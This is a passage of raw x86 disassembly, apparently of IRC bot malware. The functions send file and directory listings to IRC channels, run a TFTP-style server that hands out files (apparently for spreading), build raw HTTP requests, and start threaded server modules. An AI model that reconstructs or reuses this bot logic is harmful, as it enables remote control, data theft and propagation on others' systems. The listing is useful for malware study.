[ebp+var_12] push eax movzx eax, [ebp+var_16] push eax lea eax, [ebp+var_48] push offset a2_2d2_2d4d2_2d ; "%2.2d/%2.2d/%4d %2.2d:%2.2d %s" push eax call sub_4172B0 add esp, 20h test byte ptr [ebp+var_388], 10h jz loc_4067D0 inc [ebp+var_8] cmp [ebp+arg_8], ebx jz short loc_4066A1 lea eax, [ebp+var_35C] push eax push offset aS_0 ; "<%s>" lea eax, [ebp+var_490] push 106h push eax call sub_41782A add esp, 10h lea eax, [ebp+var_48] push eax lea eax, [ebp+var_490] push eax push [ebp+arg_8] push offset aPrivmsgS31s21s ; "PRIVMSG %s :%-31s %-21s\n" jmp loc_406919 ; --------------------------------------------------------------------------- loc_4066A1: ; CODE XREF: sub_406387+2E0j cmp [ebp+arg_C], ebx jz loc_40678B push 0E6h push offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\"" lea eax, [ebp+var_248] push edi push eax call sub_41782A add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_43F6B8 lea eax, [ebp+var_35C] push eax lea eax, [ebp+var_248] push [ebp+arg_C] push offset aSS ; "%s%s/" push edi push eax call sub_41782A add esp, 14h lea eax, [ebp+var_248] push ebx push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_43F6B8 lea eax, [ebp+var_35C] push eax call sub_417AB0 cmp eax, 1Eh pop ecx lea eax, [ebp+var_35C] push eax jbe short loc_406741 push offset aCode_29sGtCode ; "\"><CODE>%.29s>/</CODE></A>" jmp short loc_406746 ; --------------------------------------------------------------------------- loc_406741: ; CODE XREF: sub_406387+3B1j push offset aCodeSCodeA ; "\"><CODE>%s/</CODE></A>" loc_406746: ; CODE XREF: sub_406387+3B8j lea eax, [ebp+var_248] push edi push eax call sub_41782A add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_43F6B8 lea eax, [ebp+var_48] push 3Ch push eax push 96h push offset aTdTdWidthDCode ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"... push edi jmp loc_40691A ; --------------------------------------------------------------------------- loc_40678B: ; CODE XREF: sub_406387+31Dj lea eax, [ebp+var_35C] push eax push offset aS_0 ; "<%s>" lea eax, [ebp+var_490] push 106h push eax call sub_41782A add esp, 10h lea eax, [ebp+var_48] push eax lea eax, [ebp+var_490] push eax push offset a31s21s ; "%-31s %-21s\r\n" lea eax, [ebp+var_248] push esi push eax call sub_41782A add esp, 14h jmp loc_406929 ; --------------------------------------------------------------------------- loc_4067D0: ; CODE XREF: sub_406387+2D4j inc [ebp+var_4] cmp [ebp+arg_8], ebx jz short loc_40680F push ebx push [ebp+var_368] call sub_40D01A pop ecx pop ecx push eax lea eax, [ebp+var_48] push eax lea eax, [ebp+var_35C] push eax push [ebp+arg_8] push offset aPrivmsgS31s2_0 ; "PRIVMSG %s :%-31s %-21s (%s bytes)\n" push esi loc_4067FB: ; CODE XREF: sub_406387+577j lea eax, [ebp+var_248] push eax call sub_41782A add esp, 1Ch jmp loc_406929 ; --------------------------------------------------------------------------- loc_40680F: ; CODE XREF: sub_406387+44Fj cmp [ebp+arg_C], ebx jz loc_406903 push 0E6h push offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\"" lea eax, [ebp+var_248] push edi push eax call sub_41782A add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_43F6B8 lea eax, [ebp+var_35C] push eax lea eax, [ebp+var_248] push [ebp+arg_C] push offset aSS_2 ; "%s%s" push edi push eax call sub_41782A add esp, 14h lea eax, [ebp+var_248] push ebx push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_43F6B8 lea eax, [ebp+var_35C] push eax call sub_417AB0 cmp eax, 1Fh pop ecx lea eax, [ebp+var_35C] push eax jbe short loc_4068AF push offset aCode_30sGtCode ; "\"><CODE>%.30s></CODE></A>" jmp short loc_4068B4 ; --------------------------------------------------------------------------- loc_4068AF: ; CODE XREF: sub_406387+51Fj push offset aCodeSCodeA_0 ; "\"><CODE>%s</CODE></A>" loc_4068B4: ; CODE XREF: sub_406387+526j lea eax, [ebp+var_248] push edi push eax call sub_41782A add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_43F6B8 mov eax, [ebp+var_368] shr eax, 0Ah push eax lea eax, [ebp+var_48] push 3Ch push eax push 96h push offset aTdTdWidthDCo_0 ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"... push edi jmp loc_4067FB ; --------------------------------------------------------------------------- loc_406903: ; CODE XREF: sub_406387+48Bj push [ebp+var_368] lea eax, [ebp+var_48] push eax lea eax, [ebp+var_35C] push eax push offset a31s21sIBytes ; "%-31s %-21s (%i bytes)\r\n" loc_406919: ; CODE XREF: sub_406387+315j push esi loc_40691A: ; CODE XREF: sub_406387+3FFj lea eax, [ebp+var_248] push eax call sub_41782A add esp, 18h loc_406929: ; CODE XREF: sub_406387+444j ; sub_406387+483j lea eax, [ebp+var_248] push ebx push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_43F6B8 cmp [ebp+arg_8], ebx jz short loc_406958 push 7D0h nop call near ptr 2600833h loc_406958: ; CODE XREF: sub_406387+22Bj ; sub_406387+246j ... lea eax, [ebp+var_388] push eax push [ebp+arg_0] call near ptr 26A0000h nop test eax, eax jnz loc_4065AC loc_406970: ; CODE XREF: sub_406387+21Aj push [ebp+arg_0] nop call near ptr 268041Ah cmp [ebp+arg_8], ebx jz short loc_4069B3 mov eax, [ebp+var_8] cdq push edx push eax call sub_40D01A pop ecx pop ecx push eax mov eax, [ebp+var_4] cdq push edx push eax call sub_40D01A pop ecx pop ecx push eax lea eax, [ebp+var_248] push [ebp+arg_8] push offset aPrivmsgSFoundS ; "PRIVMSG %s :Found %s Files and %s Direc"... push eax call sub_4172B0 add esp, 14h jmp short loc_4069E7 ; --------------------------------------------------------------------------- loc_4069B3: ; CODE XREF: sub_406387+5F5j cmp [ebp+arg_C], ebx jz short loc_4069CD lea eax, [ebp+var_248] push offset aTrTdColspan3_0 ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"... push eax call sub_4172B0 pop ecx pop ecx jmp short loc_4069E7 ; --------------------------------------------------------------------------- loc_4069CD: ; CODE XREF: sub_406387+62Fj push [ebp+var_8] lea eax, [ebp+var_248] push [ebp+var_4] push offset aFoundIFilesAnd ; "Found: %i Files and %i Directories\r\n" push eax call sub_4172B0 add esp, 10h loc_4069E7: ; CODE XREF: sub_406387+62Aj ; sub_406387+644j lea eax, [ebp+var_248] push ebx push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_43F6B8 pop edi pop esi xor eax, eax pop ebx leave retn sub_406387 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406A0D proc near ; CODE XREF: sub_405F4D+13Cp var_404 = byte ptr -404h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 404h push ebx push esi xor esi, esi push edi push esi push esi push 3 push esi push 1 push 80000000h push [ebp+arg_4] mov edi, 400h mov [ebp+var_4], esi call near ptr 2640000h nop mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_406AC5 push esi push ebx nop call near ptr 2680000h cmp eax, esi mov [ebp+arg_4], eax jz short loc_406ABE loc_406A52: ; CODE XREF: sub_406A0D+AFj push 400h lea eax, [ebp+var_404] push esi push eax call sub_417330 add esp, 0Ch cmp edi, [ebp+arg_4] jbe short loc_406A6F mov edi, [ebp+arg_4] loc_406A6F: ; CODE XREF: sub_406A0D+5Dj mov eax, [ebp+arg_4] push 2 neg eax push esi push eax push ebx nop call near ptr 26B102Ah lea eax, [ebp+var_4] push esi push eax lea eax, [ebp+var_404] push edi push eax push ebx call near ptr 26210C4h nop push esi lea eax, [ebp+var_404] push edi push eax push [ebp+arg_0] call dword_43F6B8 cmp eax, 0FFFFFFFFh jnz short loc_406AB9 call dword_43F5FC cmp eax, 2733h jnz short loc_406ABE xor eax, eax loc_406AB9: ; CODE XREF: sub_406A0D+9Bj sub [ebp+arg_4], eax jnz short loc_406A52 loc_406ABE: ; CODE XREF: sub_406A0D+43j ; sub_406A0D+A8j push ebx nop call near ptr 2621910h loc_406AC5: ; CODE XREF: sub_406A0D+30j pop edi pop esi pop ebx leave retn sub_406A0D endp ; =============== S U B R O U T I N E ======================================= sub_406ACA proc near ; CODE XREF: sub_4060D0+181p arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] xor esi, esi push edi call sub_417AB0 test eax, eax pop ecx jbe short loc_406AF3 loc_406ADD: ; CODE XREF: sub_406ACA+27j cmp byte ptr [esi+edi], 5Ch jnz short loc_406AE7 mov byte ptr [esi+edi], 2Fh loc_406AE7: ; CODE XREF: sub_406ACA+17j push edi inc esi call sub_417AB0 cmp esi, eax pop ecx jb short loc_406ADD loc_406AF3: ; CODE XREF: sub_406ACA+11j mov eax, edi pop edi pop esi retn sub_406ACA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406AF8 proc near ; CODE XREF: sub_40EE72+2BE6p var_4A0 = byte ptr -4A0h var_310 = byte ptr -310h var_110 = byte ptr -110h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h push ebp mov ebp, esp sub esp, 4A0h push ebx lea eax, [ebp+var_4A0] push edi push eax push 101h call dword_43F5E0 push 6 push 1 push 2 call dword_43F6E8 mov ebx, eax xor edi, edi push 10h lea eax, [ebp+var_10] push edi push eax call sub_417330 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+arg_14] call dword_43F668 push [ebp+arg_10] mov [ebp+var_E], ax call sub_40ADCA pop ecx mov [ebp+var_C], eax lea eax, [ebp+var_10] push 10h push eax push ebx call dword_43F610 cmp eax, 0FFFFFFFFh jz short loc_406BD5 mov eax, [ebp+arg_20] cmp eax, edi jnz short loc_406B71 mov eax, offset byte_43C80C loc_406B71: ; CODE XREF: sub_406AF8+72j push esi mov esi, 100h push [ebp+arg_10] push eax lea eax, [ebp+var_110] push [ebp+arg_1C] push [ebp+arg_18] push offset aSSHttp1_1Refer ; "%s %s HTTP/1.1\nReferer: %s\nHost: %s\nCon"... push esi push eax call sub_41782A add esp, 1Ch lea eax, [ebp+var_110] push edi push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+var_110] push eax push ebx call dword_43F6B8 push esi lea eax, [ebp+var_110] push edi push eax call sub_417390 add esp, 0Ch lea eax, [ebp+var_110] push edi push esi push eax push ebx call dword_43F680 pop esi loc_406BD5: ; CODE XREF: sub_406AF8+6Bj push ebx call dword_43F700 call dword_43F5C8 lea eax, [ebp+var_110] push eax lea eax, [ebp+var_310] push eax call sub_4172B0 cmp [ebp+arg_C], edi pop ecx pop ecx jnz short loc_406C15 push edi lea eax, [ebp+var_310] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 add esp, 14h loc_406C15: ; CODE XREF: sub_406AF8+102j pop edi pop ebx leave retn sub_406AF8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406C19 proc near ; CODE XREF: sub_406C19:loc_407104p ; DATA XREF: sub_407252+107o ... var_884 = dword ptr -884h var_880 = dword ptr -880h var_780 = byte ptr -780h var_580 = byte ptr -580h var_57F = byte ptr -57Fh var_57E = byte ptr -57Eh var_57D = byte ptr -57Dh var_57C = byte ptr -57Ch var_37C = dword ptr -37Ch var_378 = byte ptr -378h var_274 = byte ptr -274h var_170 = dword ptr -170h var_16C = dword ptr -16Ch var_168 = dword ptr -168h var_164 = byte ptr -164h var_E4 = dword ptr -0E4h var_E0 = dword ptr -0E0h var_D8 = byte ptr -0D8h var_D7 = byte ptr -0D7h var_D6 = byte ptr -0D6h var_D5 = byte ptr -0D5h var_58 = byte ptr -58h var_44 = word ptr -44h var_42 = word ptr -42h var_40 = dword ptr -40h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = byte ptr -2Ch var_28 = dword ptr -28h var_1C = byte ptr -1Ch var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 884h push ebx push esi push edi mov edx, [ebp+arg_0] mov esi, offset aOctet ; "octet" lea edi, [ebp+var_1C] movsd push 1 xor ebx, ebx movsw pop eax mov ecx, 0A9h mov esi, edx lea edi, [ebp+var_37C] push ebx push 2 rep movsd inc [ebp+var_16C] push 2 mov [ebp+var_C], eax mov [edx+2A0h], eax call dword_43F6E8 mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+var_10], edi jnz short loc_406CDC push 190h call near ptr 2600833h nop call dword_43F5FC push eax lea eax, [ebp+var_780] push offset unk_42AC38 push eax call sub_4172B0 add esp, 0Ch cmp [ebp+var_E0], ebx jnz short loc_406CBC push ebx lea eax, [ebp+var_780] push [ebp+var_E4] push eax lea eax, [ebp+var_164] push eax push [ebp+var_37C] call sub_40D679 add esp, 14h loc_406CBC: ; CODE XREF: sub_406C19+7Ej lea eax, [ebp+var_780] push eax call sub_40BF6D push [ebp+var_170] call sub_417078 pop ecx pop ecx push ebx nop call near ptr 25F0973h loc_406CDC: ; CODE XREF: sub_406C19+50j mov eax, [ebp+var_170] push 10h imul eax, 234h push ebx mov dword_4450CC[eax], edi lea eax, [ebp+var_44] push eax call sub_417330 add esp, 0Ch mov [ebp+var_44], 2 push [ebp+var_168] call dword_43F668 mov [ebp+var_42], ax lea eax, [ebp+var_44] push 10h push eax push edi mov [ebp+var_40], ebx call dword_43F694 cmp eax, 0FFFFFFFFh jnz short loc_406D41 push 1388h nop call near ptr 2600833h dec [ebp+var_16C] push [ebp+arg_0] jmp loc_407104 ; --------------------------------------------------------------------------- loc_406D41: ; CODE XREF: sub_406C19+10Dj lea eax, [ebp+var_378] push offset aRb ; "rb" push eax call sub_4179A8 pop ecx cmp eax, ebx pop ecx mov [ebp+var_8], eax jnz short loc_406DBF push 190h call near ptr 2600833h nop lea eax, [ebp+var_378] push eax lea eax, [ebp+var_780] push offset unk_42AC04 push eax call sub_4172B0 push ebx lea eax, [ebp+var_780] push [ebp+var_E4] push eax lea eax, [ebp+var_164] push eax push [ebp+var_37C] call sub_40D679 lea eax, [ebp+var_780] push eax call sub_40BF6D push [ebp+var_170] call sub_417078 add esp, 28h push ebx nop call near ptr 25F0973h loc_406DBF: ; CODE XREF: sub_406C19+140j mov esi, 200h loc_406DC4: ; CODE XREF: sub_406C19+4A5j mov eax, [ebp+arg_0] cmp [eax+2A0h], ebx jz loc_4070C4 mov [ebp+var_880], edi mov edi, 80h push edi lea eax, [ebp+var_D8] push ebx push eax mov [ebp+var_34], 5 mov [ebp+var_30], 1388h mov [ebp+var_884], 1 call sub_417330 add esp, 0Ch lea eax, [ebp+var_34] push eax push ebx lea eax, [ebp+var_884] push ebx push eax push ebx call dword_43F650 test eax, eax jle loc_4070B8 mov al, byte_43C80C mov ecx, edi mov [ebp+var_580], al xor eax, eax lea edi, [ebp+var_57F] mov [ebp+var_4], 10h rep stosd stosw stosb mov edi, [ebp+var_10] lea eax, [ebp+var_4] push eax lea eax, [ebp+var_2C] push eax push ebx lea eax, [ebp+var_D8] push 80h push eax push edi call dword_43F640 push [ebp+var_28] mov [ebp+var_C], eax call dword_43F6F4 push eax lea eax, [ebp+var_58] push eax call sub_4172B0 cmp [ebp+var_D8], bl pop ecx pop ecx jnz loc_4070A2 cmp [ebp+var_D7], 1 jnz loc_406FEE lea eax, [ebp+var_274] push eax call sub_417AB0 lea eax, [ebp+eax+var_D5] mov [ebp+var_14], eax lea eax, [ebp+var_274] push eax call sub_417AB0 push eax lea eax, [ebp+var_D6] push eax lea eax, [ebp+var_274] push eax call sub_418DA0 add esp, 14h test eax, eax jnz loc_406FA8 lea eax, [ebp+var_1C] push eax call sub_417AB0 push eax lea eax, [ebp+var_1C] push [ebp+var_14] push eax call sub_418DA0 add esp, 10h test eax, eax jnz loc_406FA8 push ebx push ebx push [ebp+var_8] call sub_418D0E push [ebp+var_8] lea eax, [ebp+var_57C] mov [ebp+var_580], bl mov [ebp+var_57F], 3 push esi push 1 push eax mov [ebp+var_57E], bl mov [ebp+var_57D], 1 call sub_418A86 add esp, 1Ch lea ecx, [ebp+var_2C] mov [ebp+var_C], eax add eax, 4 push [ebp+var_4] push ecx push ebx push eax lea eax, [ebp+var_580] push eax push edi call dword_43F6CC lea eax, [ebp+var_378] push eax lea eax, [ebp+var_58] push eax push offset dword_42ABBC loc_406F5C: ; CODE XREF: sub_406C19+484j lea eax, [ebp+var_780] push eax call sub_4172B0 add esp, 10h cmp [ebp+var_E0], ebx jnz short loc_406F96 push ebx lea eax, [ebp+var_780] push [ebp+var_E4] push eax lea eax, [ebp+var_164] push eax push [ebp+var_37C] call sub_40D679 add esp, 14h loc_406F96: ; CODE XREF: sub_406C19+358j lea eax, [ebp+var_780] push eax call sub_40BF6D pop ecx jmp loc_4070B8 ; --------------------------------------------------------------------------- loc_406FA8: ; CODE XREF: sub_406C19+2B6j ; sub_406C19+2D7j push [ebp+var_4] lea eax, [ebp+var_2C] push eax push ebx push 13h push offset dword_42ABA8 push edi call dword_43F6CC lea eax, [ebp+var_274] push eax lea eax, [ebp+var_58] push eax lea eax, [ebp+var_D8] push offset unk_42AB74 push eax call sub_4172B0 lea eax, [ebp+var_D8] push eax call sub_40BF6D add esp, 14h jmp loc_4070B8 ; --------------------------------------------------------------------------- loc_406FEE: ; CODE XREF: sub_406C19+275j cmp [ebp+var_D7], 4 jnz loc_4070A2 mov cl, [ebp+var_D5] mov al, [ebp+var_D6] cmp cl, 0FFh mov [ebp+var_580], bl mov [ebp+var_57F], 3 jnz short loc_40702B inc al xor cl, cl mov [ebp+var_57E], al mov [ebp+var_57D], bl jmp short loc_407039 ; --------------------------------------------------------------------------- loc_40702B: ; CODE XREF: sub_406C19+3FEj inc cl mov [ebp+var_57E], al mov [ebp+var_57D], cl loc_407039: ; CODE XREF: sub_406C19+410j movzx eax, al movzx ecx, cl shl eax, 8 add eax, ecx push ebx shl eax, 9 sub eax, esi push eax push [ebp+var_8] call sub_418D0E push [ebp+var_8] lea eax, [ebp+var_57C] push esi push 1 push eax call sub_418A86 add esp, 1Ch mov edi, eax lea eax, [ebp+var_2C] mov [ebp+var_C], edi push [ebp+var_4] push eax lea eax, [edi+4] push ebx push eax loc_407079: ; DATA XREF: ___:004282F8o ; ___:0042830Co ... lea eax, [ebp+var_580] push eax push [ebp+var_10] call dword_43F6CC cmp edi, ebx jnz short loc_4070B8 lea eax, [ebp+var_378] push eax lea eax, [ebp+var_58] push eax push offset dword_42AB20 jmp loc_406F5C ; --------------------------------------------------------------------------- loc_4070A2: ; CODE XREF: sub_406C19+268j ; sub_406C19+3DCj push [ebp+var_4] lea eax, [ebp+var_2C] push eax push ebx push 9 push offset dword_42AB14 push edi call dword_43F6CC loc_4070B8: ; CODE XREF: sub_406C19+204j ; sub_406C19+38Aj ... cmp [ebp+var_C], ebx mov edi, [ebp+var_10] jg loc_406DC4 loc_4070C4: ; CODE XREF: sub_406C19+1B4j push edi call dword_43F700 push [ebp+var_8] call sub_417900 mov esi, [ebp+arg_0] dec [ebp+var_16C] pop ecx cmp [esi+2A0h], ebx jnz short loc_4070F8 push [ebp+var_170] call sub_417078 pop ecx push ebx call near ptr 25F0973h nop loc_4070F8: ; CODE XREF: sub_406C19+4CAj push 3E8h nop call near ptr 2600833h push esi loc_407104: ; CODE XREF: sub_406C19+123j call sub_406C19 pop edi pop esi pop ebx leave retn 4 sub_406C19 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407110 proc near ; CODE XREF: sub_40EE72+5D3Fp var_400 = byte ptr -400h var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 400h push ebx push edi lea eax, [ebp+var_200] push offset unk_42B134 push eax xor ebx, ebx call sub_4172B0 cmp dword_42ACB0, ebx pop ecx pop ecx mov edi, 200h jz short loc_40717E push esi mov esi, offset dword_42ACB8 loc_407143: ; CODE XREF: sub_407110+6Bj mov eax, [esi] add ebx, eax push eax lea eax, [esi-26h] push eax lea eax, [ebp+var_400] push offset aSD ; " %s: %d," push eax call sub_4172B0 lea eax, [ebp+var_400] push edi push eax lea eax, [ebp+var_200] push eax call sub_418DE0 add esi, 3Ch add esp, 1Ch cmp dword ptr [esi-8], 0 jnz short loc_407143 pop esi loc_40717E: ; CODE XREF: sub_407110+2Bj push dword_489C50 call sub_40B721 pop ecx push eax push ebx lea eax, [ebp+var_400] push offset aTotalDInS_ ; " Total: %d in %s." push eax call sub_4172B0 lea eax, [ebp+var_400] push edi push eax lea eax, [ebp+var_200] push eax call sub_418DE0 push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 lea eax, [ebp+var_200] push eax call sub_40BF6D add esp, 34h pop edi pop ebx leave retn sub_407110 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4071DB proc near ; CODE XREF: sub_40EE72+56B3p var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 200h push 8 call sub_416FA4 test eax, eax pop ecx jle short loc_407217 mov eax, [ebp+arg_C] push dword_43C848[eax*8] call dword_43F6F4 push eax lea eax, [ebp+var_200] push offset unk_42B198 push eax call sub_4172B0 add esp, 0Ch jmp short loc_40722A ; --------------------------------------------------------------------------- loc_407217: ; CODE XREF: sub_4071DB+13j lea eax, [ebp+var_200] push offset unk_42B168 push eax call sub_4172B0 pop ecx pop ecx loc_40722A: ; CODE XREF: sub_4071DB+3Aj push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 lea eax, [ebp+var_200] push eax call sub_40BF6D add esp, 18h leave retn sub_4071DB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407252 proc near ; CODE XREF: sub_40797F+4Fp var_210 = dword ptr -210h var_204 = byte ptr -204h var_4 = byte ptr -4 arg_10 = byte ptr 18h arg_90 = byte ptr 98h arg_110 = dword ptr 118h arg_130 = dword ptr 138h arg_138 = dword ptr 140h arg_13C = dword ptr 144h push ebp mov ebp, esp sub esp, 204h mov eax, [ebp+arg_130] push ebx cmp eax, 0FFFFFFFFh push esi jz loc_4075E2 imul eax, 3Ch xor ebx, ebx cmp dword_42ACBC[eax], ebx jz loc_4074C3 push 4 call sub_416FA4 test eax, eax pop ecx jnz loc_4075E2 mov eax, dword_42F5AC push edi mov edi, offset dword_43D804 push 104h push edi push ebx mov dword_43DA14, eax mov dword_43DA10, ebx nop call near ptr 2650000h push 103h mov esi, offset dword_43D908 push offset byte_42F678 push esi call sub_418C10 mov eax, [ebp+arg_110] add esp, 0Ch cmp [ebp+arg_90], bl mov dword_43D800, eax mov eax, [ebp+arg_138] push 7Fh mov dword_43DA98, eax jnz short loc_407305 lea eax, [ebp+arg_10] push eax push offset dword_43DA18 call sub_418C10 add esp, 0Ch mov dword_43DA9C, 1 jmp short loc_40731F ; --------------------------------------------------------------------------- loc_407305: ; CODE XREF: sub_407252+94j lea eax, [ebp+arg_90] push eax push offset dword_43DA18 call sub_418C10 add esp, 0Ch mov dword_43DA9C, ebx loc_40731F: ; CODE XREF: sub_407252+B1j push esi push edi push dword_43DA14 lea eax, [ebp+var_204] push offset unk_42B328 push eax call sub_4172B0 push ebx lea eax, [ebp+var_204] push 4 push eax call sub_416D5C add esp, 20h mov dword_43DA0C, eax lea eax, [ebp+var_4] push eax push ebx push offset dword_43D800 push offset sub_406C19 push ebx push ebx call near ptr 2670BF1h nop mov ecx, dword_43DA0C imul ecx, 234h cmp eax, ebx mov dword_4450D4[ecx], eax jz short loc_40738E loc_40737C: ; CODE XREF: sub_407252+13Aj cmp dword_43DAA0, ebx jnz short loc_4073A9 push 32h nop call near ptr 2600833h jmp short loc_40737C ; --------------------------------------------------------------------------- loc_40738E: ; CODE XREF: sub_407252+128j nop call near ptr 26402CBh push eax lea eax, [ebp+var_204] push offset unk_42B2E8 push eax call sub_4172B0 add esp, 0Ch loc_4073A9: ; CODE XREF: sub_407252+130j lea eax, [ebp+var_204] push eax call sub_40BF6D mov edi, offset dword_43DE5C mov [esp+210h+var_210], 104h push edi push ebx mov dword_43E068, ebx nop call near ptr 2650000h push 103h mov esi, offset dword_43DF60 push offset byte_42F678 push esi call sub_418C10 mov eax, [ebp+arg_110] add esp, 0Ch cmp [ebp+arg_90], bl mov dword_43DE58, eax mov eax, [ebp+arg_138] push 7Fh mov dword_43E0F0, eax jnz short loc_407424 lea eax, [ebp+arg_10] push eax push offset dword_43E070 call sub_418C10 add esp, 0Ch mov dword_43E0F4, 1 jmp short loc_40743E ; --------------------------------------------------------------------------- loc_407424: ; CODE XREF: sub_407252+1B3j lea eax, [ebp+arg_90] push eax push offset dword_43E070 call sub_418C10 add esp, 0Ch mov dword_43E0F4, ebx loc_40743E: ; CODE XREF: sub_407252+1D0j push esi push edi push dword_43E06C lea eax, [ebp+var_204] push offset dword_42B298 push eax call sub_4172B0 push ebx lea eax, [ebp+var_204] push 5 push eax call sub_416D5C add esp, 20h mov dword_43E064, eax lea eax, [ebp+var_4] push eax push ebx push offset dword_43DE58 push offset sub_4053D5 push ebx push ebx nop call near ptr 2670BF1h mov ecx, dword_43E064 pop edi imul ecx, 234h cmp eax, ebx mov dword_4450D4[ecx], eax jz short loc_4074B2 loc_40749C: ; CODE XREF: sub_407252+25Ej cmp dword_43E0F8, ebx jnz loc_4075D5 push 32h nop call near ptr 2600833h jmp short loc_40749C ; --------------------------------------------------------------------------- loc_4074B2: ; CODE XREF: sub_407252+248j call near ptr 26402CBh nop push eax push offset dword_42B258 jmp loc_4075C6 ; --------------------------------------------------------------------------- loc_4074C3: ; CODE XREF: sub_407252+25j cmp dword_42ACC0[eax], ebx jz loc_4075E2 push 3 call sub_416FA4 test eax, eax pop ecx jnz loc_4075E2 mov esi, offset dword_43DD34 push 104h push esi push ebx call near ptr 2650000h nop push 5Ch push esi call sub_418F10 pop ecx cmp eax, ebx pop ecx jz short loc_407501 mov [eax], bl loc_407501: ; CODE XREF: sub_407252+2ABj mov eax, dword_42F5B0 mov dword_43DE4C, ebx mov dword_43DE38, eax lea eax, [ebp+arg_10] push eax push offset dword_43DAAC call sub_4172B0 mov eax, [ebp+arg_110] pop ecx pop ecx mov dword_43DAA8, eax mov ecx, [ebp+arg_138] push esi push dword_43DE38 mov dword_43DE44, ecx mov ecx, [ebp+arg_13C] push eax mov dword_43DE48, ecx call sub_40AEE0 pop ecx push eax lea eax, [ebp+var_204] push offset unk_42B20C push eax call sub_4172B0 push ebx lea eax, [ebp+var_204] push 3 push eax call sub_416D5C add esp, 20h mov dword_43DE40, eax lea eax, [ebp+var_4] push eax push ebx push offset dword_43DAA8 push offset sub_405AF2 push ebx push ebx nop call near ptr 2670BF1h mov ecx, dword_43DE40 imul ecx, 234h cmp eax, ebx mov dword_4450D4[ecx], eax jz short loc_4075BA loc_4075A8: ; CODE XREF: sub_407252+366j cmp dword_43DE54, ebx jnz short loc_4075D5 push 32h call near ptr 2600833h nop jmp short loc_4075A8 ; --------------------------------------------------------------------------- loc_4075BA: ; CODE XREF: sub_407252+354j nop call near ptr 26402CBh push eax push offset unk_42B1C8 loc_4075C6: ; CODE XREF: sub_407252+26Cj lea eax, [ebp+var_204] push eax call sub_4172B0 add esp, 0Ch loc_4075D5: ; CODE XREF: sub_407252+250j ; sub_407252+35Cj lea eax, [ebp+var_204] push eax call sub_40BF6D pop ecx loc_4075E2: ; CODE XREF: sub_407252+14j ; sub_407252+35j ... pop esi pop ebx leave retn sub_407252 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4075E6 proc near ; CODE XREF: sub_407767:loc_4077D8p arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] push esi push 4 lea esi, ds:43C848h[eax*8] lea eax, [ebp+arg_0] push esi push eax call sub_417390 add esp, 0Ch push [ebp+arg_0] call dword_43F59C inc eax push eax mov [ebp+arg_0], eax call dword_43F664 mov [ebp+arg_0], eax lea eax, [ebp+arg_0] push 4 push eax push esi call sub_417390 mov eax, [esi] add esp, 0Ch pop esi pop ebp retn sub_4075E6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40762E proc near ; CODE XREF: sub_407767+69p var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push esi or esi, 0FFFFFFFFh push [ebp+arg_0] mov [ebp+var_C], esi mov [ebp+var_8], esi mov 